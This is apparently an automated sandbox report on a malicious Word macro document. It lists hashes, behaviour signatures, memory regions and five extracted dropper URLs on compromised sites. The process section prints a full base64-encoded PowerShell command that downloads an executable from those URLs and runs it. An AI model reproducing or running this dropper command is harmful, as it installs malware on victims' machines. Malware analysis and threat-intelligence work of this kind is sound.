Analysis

  • max time kernel
    146s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-03-2024 03:21

General

  • Target

  • Size

    139KB

  • MD5

    b92021ca10aed3046fc3be5ac1c2a094

  • SHA1

    0fb1ad5b53cdd09a7268c823ec796a6e623f086f

  • SHA256

    c378387344e0a552dc065de6bfa607fd26e0b5c569751c79fbf9c6f2e91c9807

  • SHA512

    bbeb5cfd7c5a890456b0805234a9ae325abc4a08dbad70b4ed1b3635dee4470a1f86869d5532809cecb595b9a89708f378921d733bd061aef693bfc5ee77ebb4

  • SSDEEP

    3072:/Msknok2er/yR5DpQKajNDu1CkBwN0pqJfWSq:zkoRoKDpQZqQkmN0scR

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://blockchainjoblist.com/wp-admin/014080/

exe.dropper

https://womenempowermentpakistan.com/wp-admin/paba5q52/

exe.dropper

https://atnimanvilla.com/wp-content/073735/

exe.dropper

https://yeuquynhnhai.com/upload/41830/

exe.dropper

https://deepikarai.com/js/4bzs6/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\[email protected]" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:792
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4468
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enco JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnADsAJABpAEIAdABqADQAOQBOAD0AJwBUAGgATQBxAFcAOABzADAAJwA7ACQARgB3AGMAQQBKAHMANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdQBVAE0ATQBMAEkAKwAnAC4AZQB4AGUAJwA7ACQAUwA5AEcAegBSAHMAdABNAD0AJwBFAEYAQwB3AG4AbABHAHoAJwA7ACQAdQA4AFUAQQByADMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBsAEkARQBuAHQAOwAkAHAATABqAEIAcQBJAE4ARQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBjAGsAYwBoAGEAaQBuAGoAbwBiAGwAaQBzAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADAAMQA0ADAAOAAwAC8AQABoAHQAdABwAHMAOgAvAC8AdwBvAG0AZQBuAGUAbQBwAG8AdwBlAHIAbQBlAG4AdABwAGEAawBpAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAYQBiAGEANQBxADUAMgAvAEAAaAB0AHQAcABzADoALwAvAGEAdABuAGkAbQBhAG4AdgBpAGwAbABhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA3ADMANwAzADUALwBAAGgAdAB0AHAAcwA6AC8ALwB5AGUAdQBxAHUAeQBuAGgAbgBoAGEAaQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwA0ADEAOAAzADAALwBAAGgAdAB0AHAAcwA6AC8ALwBkAGUAZQBwAGkAawBhAHIAYQBpAC4AYwBvAG0ALwBqAHMALwA0AGIAegBzADYALwAnAC4AIgBzAFAATABgAGkAVAAiACgAJwBAACcAKQA7ACQAbAA0AHMASgBsAG8ARwB3AD0AJwB6AEkAUwBqAEUAbQBpAFAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAMwBoAEUAUABNAE0AWgAgAGkAbgAgACQAcABMAGoAQgBxAEkATgBFACkAewB0AHIAeQB7ACQAdQA4AFUAQQByADMALgAiAEQATwB3AGAATgBgAGwATwBhAEQAZgBpAGAATABlACIAKAAkAFYAMwBoAEUAUABNAE0AWgAsACAAJABGAHcAYwBBAEoAcwA2ACkAOwAkAEkAdgBIAEgAdwBSAGkAYgA9ACcAcwA1AFQAcwBfAGkAUAA4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQARgB3AGMAQQBKAHMANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMwA5ADMAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABGAHcAYwBBAEoAcwA2ACkAOwAkAHoARABOAHMAOAB3AGkAPQAnAEYAMwBXAHcAbwAwACcAOwBiAHIAZQBhAGsAOwAkAFQAVABKAHAAdABYAEIAPQAnAGkAagBsAFcAaABDAHoAUAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AFoAegBpAF8AdQBBAHAAPQAnAGEARQBCAHQAcABqADQAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1472

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\284.exe

      Filesize

      52KB

      MD5

      aca25d93550755de6e1513bfd5914da0

      SHA1

      f98fc2ba15a02b49c3dc2003eb260f465e21a7d1

      SHA256

      d45ecf850597cfbb2a6b3f8e549244118e775a1b6ed80d18719d471d720cd7cf

      SHA512

      c25533d3f7c1737f42376fdc489daf33c909934f398965f2ca2885a7d8738c9f6a392278f62a6efe770f00f1999a5389ce39c6818ee00a4b706cd9469585ebf4

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\4CDDE23E.wmf

      Filesize

      430B

      MD5

      4fb3d6ce9790581efcedb5009c0ec1eb

      SHA1

      0b6939df06189b378d33f9fba268addf7e3f4541

      SHA256

      af3fd28eb0115a032ecfe094b451a6f359a9344375a5edd30d5182b9478b0683

      SHA512

      5280f6bdfef183f0f887460f3b86cec04dd6fad3abaf74154100600d4f941b1cfc44e1528153155b609c05761418fcff4a50ad3d134e6db38963ecb9eda327b2

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8B7208FC.wmf

      Filesize

      430B

      MD5

      3c3162d3b28a95f6c16039038cd9b5ca

      SHA1

      a7cd2509a19424a22b0b9e15bae1a59aca24d82f

      SHA256

      dc130add3fd992a59b99aecb3064c908a78a7cd034fe13504eaa2589adef6c34

      SHA512

      f77c84ebf375a8e4fa2d8a907268934c43198f9498d1174d3d42616641dbd4c2cf0a180f04feffd45b019db5bb95dffc6227aef814d2c97386587fe019f87bb6

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_srfqzs30.hw1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/792-11-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-0-0x00007FFE9A770000-0x00007FFE9A780000-memory.dmp

      Filesize

      64KB

    • memory/792-3-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-8-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-9-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-10-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-7-0x00007FFE9A770000-0x00007FFE9A780000-memory.dmp

      Filesize

      64KB

    • memory/792-311-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-12-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-13-0x00007FFE97EB0000-0x00007FFE97EC0000-memory.dmp

      Filesize

      64KB

    • memory/792-14-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-15-0x00007FFE97EB0000-0x00007FFE97EC0000-memory.dmp

      Filesize

      64KB

    • memory/792-166-0x00000269CF670000-0x00000269D0640000-memory.dmp

      Filesize

      15.8MB

    • memory/792-18-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-17-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-19-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-89-0x00000269CC710000-0x00000269CC910000-memory.dmp

      Filesize

      2.0MB

    • memory/792-4-0x00007FFE9A770000-0x00007FFE9A780000-memory.dmp

      Filesize

      64KB

    • memory/792-2-0x00007FFE9A770000-0x00007FFE9A780000-memory.dmp

      Filesize

      64KB

    • memory/792-155-0x00000269CF670000-0x00000269D0640000-memory.dmp

      Filesize

      15.8MB

    • memory/792-16-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-5-0x00007FFE9A770000-0x00007FFE9A780000-memory.dmp

      Filesize

      64KB

    • memory/792-6-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-310-0x00007FFE9A770000-0x00007FFE9A780000-memory.dmp

      Filesize

      64KB

    • memory/792-309-0x00007FFE9A770000-0x00007FFE9A780000-memory.dmp

      Filesize

      64KB

    • memory/792-308-0x00007FFE9A770000-0x00007FFE9A780000-memory.dmp

      Filesize

      64KB

    • memory/792-1-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-307-0x00007FFE9A770000-0x00007FFE9A780000-memory.dmp

      Filesize

      64KB

    • memory/792-248-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-249-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-250-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-251-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-252-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-253-0x00007FFEDA6F0000-0x00007FFEDA8E5000-memory.dmp

      Filesize

      2.0MB

    • memory/792-254-0x00000269CC710000-0x00000269CC910000-memory.dmp

      Filesize

      2.0MB

    • memory/792-255-0x00000269CF670000-0x00000269D0640000-memory.dmp

      Filesize

      15.8MB

    • memory/792-256-0x00000269CF670000-0x00000269D0640000-memory.dmp

      Filesize

      15.8MB

    • memory/1472-245-0x00007FFEAC570000-0x00007FFEAD031000-memory.dmp

      Filesize

      10.8MB

    • memory/1472-214-0x00000255661C0000-0x00000255661D0000-memory.dmp

      Filesize

      64KB

    • memory/1472-189-0x00000255661C0000-0x00000255661D0000-memory.dmp

      Filesize

      64KB

    • memory/1472-188-0x00007FFEAC570000-0x00007FFEAD031000-memory.dmp

      Filesize

      10.8MB

    • memory/1472-178-0x0000025566760000-0x0000025566782000-memory.dmp

      Filesize

      136KB